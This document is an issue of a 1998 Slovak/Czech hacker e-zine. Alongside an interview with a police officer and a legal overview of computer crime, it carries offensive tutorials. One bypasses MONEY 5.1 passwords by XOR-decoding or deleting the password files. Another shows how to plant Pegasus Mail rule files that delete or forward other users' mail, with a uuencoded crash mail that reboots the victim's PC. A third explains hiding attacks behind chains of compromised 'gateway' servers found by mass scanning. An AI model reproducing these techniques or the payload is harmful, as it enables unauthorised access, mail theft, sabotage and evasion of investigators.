    od sefa, tak dvaja ludia s nim zostali pri pocitaci a dialsi isiel pre sefa.
    Ja len dufam ze sa tu nenajde druhy kpt. Dastych.



    rain, rainman(at)rainside.sk



    navrat na obsah




    Jak se dostat do MONEY 5.1 kdyz neznam heslo



    Program MONEY pro vedeni ucetnictvy asi vetsina zna. A tak by se nekomu
    mohlo hodit vedet, jak se do neho dostat pokud nezna heslo. A presne o tom je
    tenhle clanek.
    Sedel jsem si takle u kamose u pocitace a on me rika, ze vyhodne koupil
    hardisk a ze prej ho melo pred nim spustu lidi. A tak ze se na nej kouknem
    jestli tam neni neco zajimaviho. Tak sme zacali prochazet hadr a narazili
    jsme na money 5.1. Rikame si tak 'parada treba tam budou nejaky zajimavy
    data'. Tak to spustime a najednou ta strasne otravna hlaska 'ZADEJTE HESLO'.
    A tak si rikam to teda ne, dokud se tam nedostanu nendu dom. Nastesti to
    bylo lehci nez sem cekal. Heslo je ulozeny v souboru databazepristup.dat.Na
    adrese 9Ah(154d) je ulozena delka hesla(coz ma fungovat asi jako kontrolni
    soucet :) a od 9Bh(155d) je zakodovane heslo. Dekodovani je naprosto
    jednoduche xor 181, no a z toho vam vyjde
    ASCII cislo dekodovaneho znaku. V praxi to vypada asi takto:


    00009A: 06 C6 DE CC DB D0 C1 => heslo je SKYNET

    BTW:nezalezi na velikosti pismen. Pokud vam ale de jen o to se tam dostat a heslo
    uplne znicit staci smazat tyto 3 soubory:

    pristup.dat
    pristup.ix
    pristup.bpf

    Pokud je tam vice tuzivatelu, tak heslo u kazdeho dalsiho uzivatele je posunute
    v souboru pristup.dat o +65h(101d).



    t_man


    navrat na obsah




    hysteria navigator faq
    (
    http://hysteria.sk/nav )




    pridavani odkazu


    pridavat odkazy do tohoto seznamu neni nic sloziteho. nejprve si vyberte
    spravny adresar. doclickejte se tedy ke zvolenemu adresari a vyplnte
    formular na pridavani dokumentu. do URL se zadava _cele_ url (vcetne
    protokolu), tedy napr. http://www.underground.org/ . kdyz zadavate cestu k
    adresari, uvadejte ji vcente lomitka ('/') na konci url. pokud '/' neuvedete,
    bude browser muset delat dva http requesty - jeden na cestu bez lomitka,
    server mu odpovi ze to je cesta_s_lomitkem - a druhy je uz na lomitkove url,
    spravne. TITLE je strucny titulek, ktery bude odkazem. A DESC
    je popisek odkazu. volte prosim popisky vystizne a kratke. V title i
    description muzete pouzivat html tagy, pouzivejte jen takove, ktere
    nenarusuji vzhled stranky. NEPOUZIVEJTE DIAKRITIKU!



    mazani odkazu


    pokud prestane nejaky odkaz fungovat, vymazte jej! do URL se zadava cesta,
    jak je uvedena u odkazu. nefungujici odkaz je takovy, kde delsi dobu vraci
    server 404 not found, popripade je server totalne down. !pozor! nez
    usoudite, ze server je down, ujistete se, zda neni chyba u isp (cesnetum
    nekdo shodil raba...), ci snad nejaky router neroutuje dokolecka, popripade
    nekdo neprekopl kabelaz. pokud 404, skuste zjistit nove url.



    mkdir/rmdir


    muzete take samozrejme zakladat a mazat adresare. jmeno adresare muze byt
    jakekoliv, ale nepouzivejte prosim diakritiku. url tohoto adresare bude
    odvozeno z nazvu, tzn. budou vynechany znaky jako /.[]:,|*?`x20 :-) pokud
    je adresar prazdny, muzete jej smazat. kdyz do nej vlezete, bude vam jasne
    jak.



    for internal use only


    pro uzivatele hysterie: prava k /html/hysteria/nav/ a dalsim adresarum mate
    (rwx), takze muzete efektivne pracovat s celym navigatorem. pokud nejaky
    lamer tady udela paseku, opravte to prosim - z czech (cesnet) je sem _hrozne_
    pomale spojeni (btw: nechcete si to nekdo vzit na starost?). nezapomente
    prosim zachovat spravne vsechny permissions, viz skripty.



    jake odkazy pridavat


    chctel bych, aby uroven NAVu byla co nejvyssi. nepridavejte sem prosim linky
    na lamerske stranky (napr. 'jak poslat email pomoci smtp', 'jak ircckovat
    telnetem', atd), popripade odkazy na (free) xxx adults only sitez. warez take
    neni vitan, stejne jako BFU/windoze. toto je site o H/P/A/V, ne pro SW
    piraty. vitany jsou odkazy na ruzne stranky zabyvajici se bezpecnosti
    systemu, phreakovani, stavba ruzneho zeleza, uzitecne stranky o unixech,
    smartcards, a spousta dalsiho.



    mhi, mhi(at)hysteria.sk


    navrat na obsah






    0000010100000001000001020061730200619215
    pajkus
     pajkus      03.03.2004 - 13:18:21 , level: 1, UP   NEW



    ::::::::::. :::::::.. :::.,:::::: ::: ... . :
    `;;;```.;;;;;;;``;;;; ;;;;;;;'''' ;;; .;;;;;;;. ;;,. ;;;
    `]]nnn]]' [[[,/[[[' [[[ [[cccc [[[ ,[[ [[,[[[[, ,[[[[,
    $$$"" $$$$$$c $$$ $$"""" $$' $$$, $$$$$$$$$$$"$$$
    888o 888b "88bo,888 888oo,__ o88oo,.__"888,_ _,88P888 Y88" 888o
    YMMMb MMMM "W" MMM """"YUMMM""""YUMMM "YMMMMMP" MMM M' "MMM

    prielom #7, 31.5.98, prielom(at)hysteria.sk, http://hysteria.sk/prielom/




    obsah



    intro

    pegasus mail 4 dos

    nsa ma hacknut nasa.

    unix logy II

    rozhovor s jd

    pocitacova kriminalita

    dalsia miliarda







    intro



    viete ako spozna hacker ze travi prilis vela casu za pocitacom ?
    ked nastupi do vytahu a double-clickne na cislo poschodia. potom
    zrazu zisti ze si pomylil poschodie a hlada tlacitko Escape...



    tento stary ftip som pocul v novej internetovskej kaviarni v piestanoch.
    rozpravali si ho dvaja okuliarnati intelektuali a tvarili sa pritom
    strasne zasvetene. internet teda uz dorazil na slovensku aj do
    malych miest a na vidiek.



    v prvom momente ma tato kaviaren zaujala velmi cool dizajnom. namiesto strechy
    je tu obrovska sklenena pyramida. vyzera to fakt ultra-moderne, po chvilke
    irc-ckovania som zaklonil hlavu a cumel hore cez tu pyramidu na modru oblohu.
    aj ked je to este vcelku novostavba, uz im to sklo stihli osrat holuby.



    bombonik tohoto miestecka je vsak ze v kaviarni uctuju peniaze za internet
    aj ked iba sedite a pozerate sa na surfujuceho priatela. v cenniku kaviarne
    sa tento trapas uvadza ako "poplatok za prisediaceho". toto je
    asi fakt najblbsi sposob ako zarobit na internete, a to uz dnes clovek vidi
    na sieti naozaj vselico.



    este ze si ku mne nikto neprisadol.



    inak bol som teraz na par sessionoch a tak som nabity folklornymi informaciami,
    drbmi a klepmi najroznejsieho druhu. medzi najzaujimavejsie patri
    informacia o nejakej novej neznamej skupine hackerov (alebo jednotlivcovi ?),
    ktora sa specializuje na linuxy. udajne minuly tyzden hackli velke mnozstvo
    linuxov po celom slovensku, vcetne napriklad eurotelu. skusal som sa povrtat v
    tlaci ci nahodou o tom nenajdem nejaku zmienku, ale samozrejme eurotel mlci
    ako hrob. administratori a pravnici Eurotelu sa hned vrhli na otisa, hromiho
    and spol. s tazkymi obvineniami, ale su zjavne mimo. na druhej strane SCU
    (hromi, voodoo..) a h00l1ganz (kocman, otis, rethad..) su momentalne
    asi tak jedini aktivni bezci unixovych serverov na slovensku, takze sa ani nedivim ze
    admini a operatori eurotelu (bezvadne informovani vdaka tomu ze podstatnu cast
    vecernych a nocnych smien travia na irc) okamzite zacali podozrievat prave ich.
    meno hromi je navyse aj tak teraz krizom-krazom sklonovane koli nedavnemu
    hacku pubnetu (www.pubnet.sk). zevraj pubnet sa tentokrat vazne nasral a
    ohana sa nejakym pravnikom, trestnymi oznamenami a tak. je to pre mna nepochopitelne,
    pretoze pubnet uz bol tolko krat hacknuty, ze by to pre nich v podstate mala byt
    kazdodenna rutina, vzrusujuca asi ako salka vychladnuteho caju.


    nuz nech je to ktokolvek, partia co beha v tychto dnoch po slovenskych linuxoch
    je udajne velmi schopna. maju svoje vlastne poprerabane linuxovske binarky,
    pravdepodobne nieco v style klasickych SERT-ackych utilitiek z arxivu.
    na linuxy sa dostavaju neznamym sposobom, chyruju famy ze vlastnia nejaky
    vlastny externy exploit. nuz, myslim ze o nich este budeme pocut.



    pajkus, 31.5.98, piestany



    Pegasus mail 4 dos



    Jiste $SUBJ znate... je to program, ktery se diky tomu, ze je zadarmo, vetrel
    snad na vsechny ceske skoly, kde maji nejakou sit. Dalsi jeho zajimavosti je,
    ze nema osetrene urcite neocekavane stavy. Tak se ve starsich verzich stavalo, ze
    pri cteni ceskeho mailu v mime skolaboval. Verze 3.4-r0 jiz tyto bugy nema, ma
    ale jine (jak je zvykem). Napriklad nejde v 3.4 cist maily, ktere maji
    Content-Type: v hlavicce, ale chybi jine udaje. Nektere bugy vsak stale
    zustaly, takze jimi zacneme. Vzhledem k tomu, ze v netware maji useri
    vetsinou do adresare sys:mail pravo create, muzou velmi jednoduse vkladat do
    mail-adresaru uzivatelu soubory. Tento bug se casto vyuzival k vlozeni login
    scriptu, pokud ho user nemel. To se jiz resi tak, ze kazdy nove zalozeny user
    dostane prazdny login script. Tato varianta ale neresi cely problem a tak staci
    najit dalsi soubor, ktery vytvorime uzivateli a my z toho budeme neco mit...
    PMail ma takovych souboru hromadu. Muzete napriklad vyrobit userovi
    rule-file, staci jej pouze nakopirovat do mail-diru. Potom mu muzete jeho
    prichozi maily mazat, nebo si je forwardovat... Dalsim zajimavym souborem je
    xxxsig.pms, v nem jsou signatury. A nyni k tem zajimavejsim vecem. Pmail nema
    kontrolu buffer overflow u funkci, ktere pracuji s Content-Type:,
    Mime-Version:, X-Mailer: a MHS-ID:
    . Mozna ze i u dalsich, nemel jsem uz naladu
    to zkouset. Bohuzel jsou tyto holes znacne nezajimave, nebot promenne jsou
    dynamicky alokovane. To ma za dusledek, ze uzivatel vidi v mailu nesmysly a
    pri prohlizeni to vyvolava exceptiony :-))). Mnohem hezci bug je v
    identifikaci kodovani from adresy. Jiste to znate, nektere windoze-based
    mailreadery to pouzivaji: From: =?windoze-1250?Q?J=EFn_Pet=ABi=DA?=. To mi
    pripada jako velke plytvani mistem, takze to nejak vyuzijeme, ne? Muzeme si
    takto napriklad posilat programy, nebo neco podobneho. Nasledujici nesmysl v
    PMailu 4.3-r0-dos rebootuje pocitac. Jake prekvapeni, kdyz uzivatel spusti
    pmail a pocitac se mu restartuje...



    begin 0777 crash.cnm
    M1G)O;3H@/3]T:&ES+6ES+7-M86QL+65M86EL+7=H:6-H+7)E8F]O=',M>6]U
    M<BUC;VUP=71E<BUI;BUP96=A<W5S+6UA:6PM=F5R<VEO;BTS+30P+7(P+69O
    M<BUD;W,M+2U334E,12U03$5!4T4M+?#P/`_43]*35`@1C!&,#I&,$8P/ST-
    M"E1O.B!9;W4-"E-U8FIE8W0Z(%)E8F]O="!M>2!C;VUP=71E<B$-"@T*2&5L
    M;&L#0II9B!Y;W4@<F5A9"!T:&ES+"!Y;W4@87)E(&YO="!U<VEN9R!P;2!V
    -,RXT+7(P+61O<RXN+@``
    end



    Jak se proti temto zlomyslnostem branit? Nejlepe je asi odebrat pravo Create
    k SYS:MAIL a prenos posty resit pomoci mercury (jiny adresar). Dalsi reseni je
    vsem uzivatelum vyrobit prazdne potencialni "nebezpecne" soubory. Proti buffer
    overflow attackum se da branit tezko, jedine snad nepouzivat pmail, ale
    nejaky mene "bugoidni" mailer. Nebo si aspon patchnete pmail tak, aby neposilal
    v hlavicce X-Mailer: Pegasus Mail 3.4



    mhi, mhi(at)hysteria.sk


    navrat na obsah




    NSA ma hacknut NASA



    Agenti NSA (National Security Agency) sa budu snazit prelomit ochranu
    pocitacov NASA, aby urcili ci tato vesmirna agentura dokaze zastavit
    hackerov, ktori by mohli ohrozovat starty rakiet a ine kriticke
    operacie, pise sa v reporte tyzennika Defense Week, ktoru som si nedavno
    pecital.



    Tato "studia prenikania" do neklasifikovanych pocitacovych sieti NASA
    (National Aeronautics and Space Administration) je usilim pochopit , ako
    lahko sa nepovolane osoby (povedzme rovno, ze asi o lamerov nepojde!) mozu
    dostat k citlivym datam a co preto robi NASA. Teamy specialistov
    z agentury NSA budu snazit preniknut do sieti NASA az v osmych statoch
    (U.S.A.).



    Ak nahodou neviete, tak uz v juni minuleho roku "hackeri" z NSA ukazali,
    ze su schopni paralyzovat bojovo-strategicke pocitace Tichomorskeho
    Velitelstva americkej armady a elektricke siete americkych elektrarni.
    Podla Johna Pikeho z Federacie Americkych vedcov, dlhorocneho pozorovatela
    NASA a ostatnych vladnych agentur, agentura NSA sa ako prva z nevojenskych
    agentur snazi preniknut aj do sfery sukromia obcana, aj keby to mohlo
    znamenat porusenie zakona o sukromi obcanov.



    Avsak Charles Redmond, manager z NASA pre informacno-technologicku
    bezpecnost uviedol ze NASA radsej da prednost nevojenskej
    agenture akou NSA je, lebo len ona je schopna preverit uroven ochrany
    bezpecnosti a zabezpecenia dat a zaroven aj vyvarovat sa stretu zaujmov
    (kdo by predsa chcel, aby si chlapici z FBI ci CIA nahodou v systemoch NASA
    nechali dake "backdoors" a potom niekedy z nudy odpalili daku raketku do
    vesmiru...>;->).



    Vyzera to tak, ze tieto skusky a testy budu mat za ulohu zistit, do akej
    miery je lahke vstupit do citlivych sajtov (citlivy rozumej nie ako dake
    tamagotchi, ale asi ako dost utajovane a prisne strazene statne tajomstva)
    a do akej miery su tieto systemy ohrozovane z Internetu.



    iindy - rezylana, iindy(at)iindy.sk

    navrat na obsah


    unix logy II.



    v minulom cisle sa pisalo o tom ako mazat unix logy a teda ako utajit svoj
    utok, po pripade ako naraficit falosne stopy. na to vsak treba rootovske
    prava. dnesna nedelna chvilka poezie je o tom ako utajit svoju identitu pri hackerskych
    utokoch pri ktorych sa nepodari ziskat na cielovej masine uid(0).



    gateway



    nuz, teoria je jednoducha. na cielovu masinu treba utocit cez 1 az 2 hacknute
    masiny, ktore ma clovek kompletne pod kontrolou. v kruhoch byvaleho SERT-u a
    CzERT-u sa taketo masinky nazyvaju folklornymi pomenovaniami "gateway",
    "stargate", alebo "hniezdo". idealnym kandidatom na gateway je nejaky malo
    vyuzivany linux server, napriklad nejake starsie pentium sluziace ako router
    niekde v zapadnutom pocitacovom labaku na katedre sociologie. idealne geograficke
    umiestnenie takejto masiny je skandinavia (vyborne linky), zapadna europa a
    okolite krajiny ako madarsko, rakusko, polsko...
    optimalne je mat aspon 3-4 dobre gatewaye, idealne tak okolo 10. pri niektorych typoch utokov je
    nevyhnutne mat pod kontrolou gateway, ktory je DNS server danej domeny.
    podla kvality gatewaya treba urcit ake typy aktivit sa na nom budu robit.
    najkvalitnejsi gateway sluzi vacsinou pre interne ucely, trebars ako
    file server, chat server, irc server a pod. najhorsie gatewaye sluzia
    na masove scanny, floody, spam maily a podobne aktivitky. masiny na bezne
    utoky su niekde uprostred.



    ako ziskavat gateway stroje ? taketo masiny treba hladat masovymi scanmi.
    v prvom rade je treba mat informacie o serveroch v danej domene. treba si
    stiahnut vsetky DNS zaznamy danej krajiny a vybrat z nich vsetky servery.
    ako sa to presne robi nebudem popisovat, nexcem aby to tu vyzeralo ako
    nejaka HOW-TO kucharska kniha :) len tolko ze z DNS zaznamov treba povyhadzovat
    vsetky adresy ktore obsahuju dial-upy a aliasy (hint: dial-upy maju v nazve
    vacsinou cislo.. ppp-124-5.provider.cz a pod... aliasy zase maju adresy typu
    www.domena.cz alebo mail.domena.sk..) idealne je samozrejme napisat si vlastny script (trebars awk/sed) ktory
    to vsetko zautomatizuje. potom nie je problem takyto script spustit trebars
    raz do mesiaca a vsimnut si nove masiny, ktore su cerstvo pripojene na internet.
    prave tieto nove masiny su castokrat vybornym tercom na utok, lebo trebars su
    nainstalovane zo stareho Linuxovskeho CDecka a este su nepatchnute.


    ked ma clovek v ruke zoznam serverov v danej krajine, je dobre spravit si
    o nich databazu s udajmi. velmi jednoduchy scriptik dokaze vsetky masiny
    ping-nut ci vobec existuju a ziju, a potom pozriet port-scanerom niektore
    zakladne porty, napriklad 21,23,25,79,80,110 - aby si clovek spravil predstavu
    o tom co je to za masinu. ked sa taketo udaje ulozia do databazy, mate v ruke
    uzasny a pohotovy zdroj informacii o serveroch v okolitych krajinach. este k
    tym geografickym umiestneniam.. spominal som ze je dobra zapadna europa, atd..
    to je koli dobrym serverom a dobrym linkam. lahsie sa vsak hackuje v rozvojovych
    a chudobnych krajinach, tam su totiz pozadu a maju stare bugove servery,
    avsak vacsinou maju slaby hardware a pomale linky.



    ok, tak dajme tomu ze mate spravenu databazu o serveroch. teraz staci vegetit,
    subscribnut si bugtraq a pockat si az nejaky genius vo finsku najde bug trebars
    na nejaky cgi script a zverejni ho v bugtraqu. potom staci mrknut sa do svojej
    databazy www serverov (t.j. adries s otvorenym portom 80) a okamzite mate k
    dizpozicii zoznam potencialnych exploitnutelnych masiniek. staci pouzit jeden
    gateway a spustit z neho scan...


    redirektorove siete



    ok, tak podme naspat k redirektorom. predpokladajme teda ze je k dispozicii
    zo 10 masin na ktorych su umiestnene redirektory. pri opakovanych utokoch
    na jeden cielovy stroj je dobre napevno si spravit 2-3 na seba napojene redirektory.
    povodne som sem chcel napisat nieco ako presny navod na obsluhu redirektorov
    ktore su na arxive. mam totiz dojem ze kopu ludi ich nedokaze sprane a naplno
    vyuzit. nakoniec som sa vsak rozhodol nezverejnovat tu nejake presne step-by-step
    navody, predsa len je dobre spravit nejaku latku, vstupny schod, cez ktory musi
    kazdy sam a bez cudzej pomoci prekrocit. takze hrajte sa, skusajte, mrknite sa
    do zdrojakov :) kopu funkcii napriklad interaktivneho redirektora z dielne CzERT
    nebolo nikdy dokumentovanych a neexistuje k nim ziadny navod.


    ok, teraz obratme sachovnicu a mrknime sa na situaciu z pohladu hraca
    bielych figuriek. ako dokaze administrator vystopovat niekoho kto mu
    utoci na server cez redirektor, alebo cez siet redirektorov ? kedysi ked
    fungovala CzERT BBS, rozvinula sa na nej zaujimava debata na tuto temu.
    boli pretriasane vselijake teorie o tom ako sa daju pomocou nejakych
    komplexnych statistickych vzorcov vytiahnut z traffic logov podobne pripojenia
    a podla toho urcit kto sa odkial a kam redirektuje. debata sa vysvihla na vysoku
    akademicku uroven a vzapati pleskla na zem, pretoze sme sa zhodli na tom
    ze take nieco je nielen nemozne, ale aj blbost.



    jedina moznost je vyckat kym hacker spravi chybu. je dobre pozriet si
    napriklad logy z httpd. poznal som hackerov ktori sa telnetovali na
    hacknuty stroj cez 2-3 redirektory, ale zaroven si pozerali webovske stranky
    toho isteho server priamo zo svojho Netscapu. Pomerne uspesny sposob je
    zavesit si robota na vsetky zname irc kanaly kam chodia slovenski/ceski
    hackeri (nebudem radsej menovat :) a pozriet si kedy je kto pripojeny na irc
    a kedy sa kto pripajal na hacknutu masinu. vinnik sa da obcas najst pomerne
    lahko takymito odrbmi netechnickeho charakteru :)

    ...to be continued.. casom mozno este dopisem nejaku pointu..

    ..dneska to uz nestiham :) ..



    pajka, pajka(at)hysteria.sk


    navrat na obsah





    rozhovor s JD


    capitano jiri dastych z prazskeho oddelenia comedia de l'arte
    ministerstva vnutra ceskej republiky sa tesi vcelku slusnej popularite
    na slovenskom a ceskom internete. Praca prveho cyber-copa v dejinach
    nasich zemi spociva v tom ze sa par krat do roka
    pripoji na mamediu (www.mageo.cz) a odpoveda na inzeraty ponukajuce
    CDecka s warezom, nasledne po stretnuti s naivnym warezakom mu nasadi
    puta. no a potom o tom rozprava. a potom este viac o tom rozprava.
    par krat do roka organizuje koncertne turne, na ktorom
    keca s novinarmi, organizuje seminary a beseduje na stretnutiach na
    vysokych skolach.



    vdaka svojim ortodoxnym nazorom, tvrdohlavemu postoju, neznalosti
    technickych veci a moralistickym kecom si z neho vacsina ludi na inete
    robi posmech. ja ho vsak obdivujem a to minimalne koli jednej veci -
    ako jediny clovek v tejto krajine je plateny za to ze cita prielom -
    je to totiz v naplni jeho prace. no uznajte, to je ale super robota ! :)


    From: dastych(at)mvcr.cz
    To: kangaroo(at)hysteria.sk
    Subject: Re: Rozhovor
    Date: Mon, 4 May 1998 10:31:48 +0200

    >Preji hezky Beltine!
    >
    >Dekuji za moznost polozit Vam par otazek, co se tyce pocitacove
    >kriminality.
    >
    >Prvnich nekolik otazek se tyka Vaseho boje proti hackerum
    >
    >1) Pokud se Vam podari nejakeho hackera chytit, z ceho je obvinite?

    Z trestneho cinu podle paragrafu 257a trestniho zakona, ktery je
    zameren na ziskani neopravneneho pristupu k nosici informaci s
    umyslem zpusobit skodu nebo ziskat neopravneny prospech.

    >
    >2) Na tiskove konferenci v Brne jste pry prohlasil (nevim to jiste,
    >tiskova zprava pry nebyla uvolnena), ze pri pristim utoku cleny Czertu
    >dozajista chytite. Pote hackeri napadli server www.policie.cz a upravili
    >titulni stranku, pri cemz parodovali vase prohlaseni. Jak jste se citil,
    >jak jste reagoval a kdy budou zadrzeni?

    Nejsem si jist zda jsem presne rekl neco takoveho. Spise si myslim, ze jsem
    rekl, ze je dalsi utoky priblizuji konci jejich hackerske kariery. Jinak..
    citil jsem se normalne, nemyslim si, ze skadleni Policie opakovanim napadeni
    web stranek je to nejrozumejsi.

    >
    >3) V jakem stadiu je Vase patrani po hackerech? Uz jste nekoho zadrzeli
    >a pripadne obvinili?

    Nezadrzeli ani neobvinili. Takovy zasah do prav obcana si vyzaduje naprosto
    perfektni pripravu aby jsme nemohli byt napadani, pro pochybnosti a
    prehmaty.

    >
    >4) Ma pro Vas dopadeni skupiny Czert ci Sert nejaky osobni vyznam?

    Ne. Myslim si, ze je z sirsich duvodu nutno zabranit protipravnim aktivitam,
    ktere at z ruznych duvodu pozkozuji nekoho jineho.

    >
    >Nasledujici otazky se tykaji pocitacoveho piratstvi, cimz myslim
    >kopirovani a rizeni nelegalniho softwaru
    >
    >1) Muzete prosim ctenarum rict par slov o vasi praci? Jak probiha
    >hledani, zatceni a obvineni takoveho pirata?

    Jde o standardni policejni praci, ale v tomto pripade namirenou proti
    porusovani paragrafu 152 trestniho zakona - porusovani autorskeho prava. Hledani je
    pomerne jednoduche - z volnych zdroju jako je inzerce a pod., oznamenim
    autoru a nebo oznamenim poskozenych lidi, kteri si v nekterych pripadech i
    mohli myslet ze kupuji legalni software (OEM), ale nebylo tomu tak.
    Zatceni je naprosto obvykle - prijdeme, zjistime co muzeme, a odejdeme spolu
    s pachatelem, na zaklade dukazu ja nasledne obvinen vysetrovatelem z
    trestneho cinu.

    >
    >2) Jak byste postavicku pirata charakterizoval? (jak je ochotny
    >vypovidat, kolik toho prozradi o svych spolecnicich, o tom co dela, zda
    >klade vetsi odpor pri zatykani....)

    Obvykly pachatel je clovek ochotny a spolupracujici, pravda az po predlozeni
    dokuzau, ktere ma k dipozici policie. Pri zatykani neklade odpor, ostatne by
    byl zbytecny.

    >3) Prave na poli sireni nelegalniho softwaru slavite cetne uspechy.
    >Muzete ctenare seznamit s nekterymi z nich?

    Myslim, ze to by vydalo na samostatny clanek.

    >4) Jaka je spoluprace s BSA?

    Pro nas predstavuje BSA jednaznacny prinos, protoze je sdruzenim autoru,
    kteri aktivne chrani sva prava a to je presne to co je potreba. Spoluprace
    je velmi dobra a ma tendenci ke stalemu zlepsovani.

    >6) Je neco, co byste pocitacovym piratum rad vzkazal ?

    Je nanejvys nutna, aby vsichni znali zakony teto zeme, protoze pak teprve
    uvidi co je mozne a co ne. Nemyslim tim, nezabije a nepokrades, ale treba i
    znalost ochrany autorskych prav by mnoho slusne lidi odradila od nelegalnich
    aktivit, ktere jsou pak pricinou jejich trestniho stihani.


    kangaroo, kangaroo(at)hysteria.sk


    navrat na obsah




    Pocitacova kriminalita


    Vzhledem k aktualnosti tohoto tematu jsem sestavil rozcleneni pocitacove
    kriminality v kontextu trestniho zakona CR.



    Rozlisujeme primou a neprimou pocitacovou kriminalitu. Primou pocitacovou
    kriminalitou je napriklad:



    - ilegalni vyroba pocitacove techniky (hardware) kopirujici cizi vzory,

    - ilegalni kopirovani programu (napr. software), tj. pocitacove piratstvi,

    - neopravnene uzivani prace pocitacu (kradeze strojoveho casu),

    - niceni a poskozovani pocitacu a programu (pocitacove sabotaze),

    - neopravnene ziskavani informaci z databazi.



    Neprimou pocitacovou kriminalitou je napriklad:



    - vkladani lzivych dat do pocitacoveho systemu,

    - meneni vysledku pocitacoveho zpracovani dat,

    - meneni programu.



    Nektere z techto forem pocitacove kriminality jsou praktikovany i
    zlocineckymi organizacemi pri zahlazovani vlastni kriminality, vytvareni
    podminek pro prani spinavych penez i pro dalsi trestnou cinnost. Pocitace
    mohou byt vyznamnym pomocnikem i na useku hospodarske kriminality
    (zkracovani dani a jine). Nekteri autori vylucuji z pojmu "pocitacova
    kriminalita" ty trestne ciny, v nichz pocitac figuruje pouze jako vec,
    tedy jeho kradez a poskozeni, pokud ovsem utok nesmeruje k technickemu
    nebo programovemu vybaveni pocitace. Pro zjednoduseni vynechavaji i ciste
    softwarove piratstvi, jakkoli jiste predstavuje znacny problem.



    Pod pojem pocitacove kriminality radi tito autori nasledujici skutky:



    1. Utok na pocitac, program, data, komunikacni zarizeni.

    Zde prolinaji dve roviny: utok na fyzicky objekt pocitace nebo jeho
    prislusenstvi (odcizeni, poskozeni) a utok na informace v pocitaci ulozene.



    2. Neopravnene uzivani pocitace ci komunikacniho zarizeni.


    Patri sem napr. "pocitani" na pocitaci, pouzivani programu nebo
    komunikacniho zarizeni, ktere nalezi nekomu jinemu, bez vedomi a souhlasu.



    3. Neopravneny pristup k datum, ziskani utajovanych informaci (pocitacova
    spionaz) nebo jinych informaci o osobach.



    Nestaci pouhy prunik do databazi, nybrz musi dojit k neopravnenemu zneuziti
    ziskane informace.


    4. Zmena v programech a datech (okrajove i v technickem zapojeni pocitace
    ci komunikacniho zarizeni).


    Sem patri tyto cinnosti:


    a) zmena programu a dat jinymi programy - obvykle viry nebo primymi zasahy
    programatora (caste pri tzv. pocitacove defraudaci),

    b) mene casto uprava v zapojeni ci jinem atributu technickeho vybaveni
    pocitace ci komunikacniho prostredku.



    5. Zneuzivani pocitacovych postredku k pachani jine trestne cinnosti.


    Manipulace s pocitacovymi daty ma nekolik vyhod, napriklad:


    - vymazani ci premazani udaje na magnetickem mediu je podstatne snazsi
    a nezanechava prakticky zadne stopy,

    - clovek (kontrolor, zakaznik aj.) povazuje vysledky z pocitace z
    psychologickeho hlediska a priori za spravne a vice jim duveruje.



    6. Podvody pachane v souvislosti s vypocetni technikou.


    Pachatel jiz a priori vytvari program, ktery mu ma pozdeji usnadnit jeho
    trestnou cinnost.


    Softwarovou kradezi rozumime kopirovani softwaru bez povoleni vlastnika
    copyrightu. Formy softwarovych kradezi jsou ruzne, napr. neautorizovane
    vytvareni duplikatu, neautorizovane kopirovani programu pro vlastni uziti
    a prodej softwaru chraneneho autorskymi pravy ci copyrightem ve tvaru
    blizkem originalu, ulozeni na pevny disk pocitace dealerem nad ramec
    dohody s vlastnikem software.



    Pri urcitem zjednoduseni lze pocitacovou kriminalitu rozdelit do dvou
    zakladnich skupin:



    a) delikty, kde je pocitac (program, data atd.) nastrojem zlocince,

    b) delikty, kde je pocitac (program, data atd.) cilem zlocinneho utoku.



    Porovnani klasifikace materialu Rady Evropy s ekvivalenty v nasem trestnim zakone:


    Rada Evropy Ceska Republika

    pocitacove podvody podvod - par. 250, 250a
    pocitacove falzifikace

    poskozovani pocitacovych poskozovani a zneuziti zaznamu
    dat a programu na nosici informaci - par. 257a

    pocitacova sabotaz sabotaz - par. 97, obecne ohrozeni
    par. 179 - 180, poskozovani cizi veci par. 257

    neopravneny pristup neopravnene uzivani cizi veci - par. 249

    neopravneny prunik neopravnene uzivani cizi veci - par. 249

    neopravnene kopirovani porusovani autorskeho zakona - par. 152
    autorsky chraneneho programu

    neopravnene kopirovani porusovani autorskeho prava - par. 152,
    topografie porusovani prav k vynalezu
    a prumyslovemu vzoru - par. 151
    (dale take podle zak. c. 529/91 Sb.
    o ochrane topografii pocitacovych vyrobku)

    zmena v datech nebo poskozeni a zneuziti zaznamu
    pocitacovych programech na nosici informaci - par. 257a

    pocitacova spionaz vyzvedacstvi - par. 105, ohrozeni
    stat. tajemstvi - par. 106,
    ohrozeni hospodarskeho tajemstvi
    - par. 122, ohrozeni sluzebniho
    tajemstvi - par. 173

    neopravnene uzivani pocitace neopravnene uzivani cizi veci - par. 249

    neopravnene uzivani autorsky porusovani autorskeho zakona - par. 152
    chraneneho programu



    udc, udc(at)hysteria.sk


    navrat na obsah




    dalsia miliarda



    Kto bude dalsou miliardou uzivatelov ?



    Casto si davam otazku: "Budu mat bohaci v buducnosti bohate informacie a
    chudobni informacie chudobne ?" Moja odpoved znie: "Nie." Ale hodnostim to
    asi narychlo a prilis jednoducho.



    Ak suhlasite s tym, ze Net bude mat v buducom storoci miliardu uzivatelov,
    tak sa pravdepodobne domnievate, ze vacsina z nich bude vo vyvinutych
    krajinach. Nakoniec, z priblizne 10 milionov pocitacov, ktore dnes existuju
    je viac ako polovica v USA. Vacsina zvysnych sa nachadza v siedmych
    najrozvinutejsich krajinach sveta. Skutocne, 50 najmenej rozvijajucich sa
    krajin, s prijmom mensim ako 500 dolarov na jedinca, v sucastnosti hosti
    23 providerov (a co je zvlastne , 19 je v Nepale). Moj nazor je, ze prave
    dnes su drahe informacie pre bohatych a lacne su pre chudobu.



    Ale to sa zmeni. Zoberte si krajinu, ako je Malajzia, kde si ludia skutocne
    vazia vzdelanie a vladu a znesu pri tom aj drobne tyranie, podporuju vyvin
    v ohromnej miere. V tomto momente je v Kuala Lumpur 20 000 uzivatelov
    Internetu a ich pocet rastie o 20% kazdym mesiacom. Ak bude Malajzia
    pokracovat v tomto trende , vsetci Malajzijcania (19,1 miliona obyvatelov)
    budu pripojeny na Internet v roku 2000. Malajzia ale nieje jedina krajina s
    takymto prirastkom uzivatelov.



    gung-hoism



    Zoberte si najenergickejsieho cloveka vo vasom okoli, ktory sa nadsene chopi
    zbierania nezmyslov, starania sa o deti a vybavovania miestnych obcianskych
    veci. Sused, ktory prichadza do uvahy sa pravdepodobne pristahoval len
    nedavno, Inac povedane, najochotnejsi spomedzi nas su casto ti, ktori medzi
